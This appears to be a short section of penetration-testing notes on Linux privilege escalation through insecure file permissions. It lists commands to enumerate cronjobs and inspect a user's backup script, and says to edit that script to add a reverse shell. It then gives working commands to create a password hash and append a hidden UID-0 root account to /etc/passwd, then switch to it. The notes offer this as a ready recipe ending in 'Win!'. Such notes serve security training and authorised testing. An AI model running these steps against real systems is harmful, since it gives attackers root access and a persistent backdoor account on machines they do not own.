5. Insecure File Permissions


Abusing Cronjobs

  1. Enumerate cronjobs:
# Cronjobs for all users
ls -lah /etc/cron*

#User-created cronjobs for the current user
crontab -l

#Running cronjobs:
grep "CRON" /var/log/syslog
cat /var/log/cron.log
  1. Inspect running script:
cat /home/joe/.scripts/user_backups.sh
  1. Edit script to add reverse shell. Win!

Abusing /etc/passwd

  1. Generate password hash:
openssl passwd <arbitrarypassword>
  1. Echo the hash plus user info into /etc/passwd:
echo "<username>:<hash>:0:0:root:/root:/bin/bash" >> /etc/passwd
  1. Switch user to your new user and provide the password:
su <newuser>
  1. Win!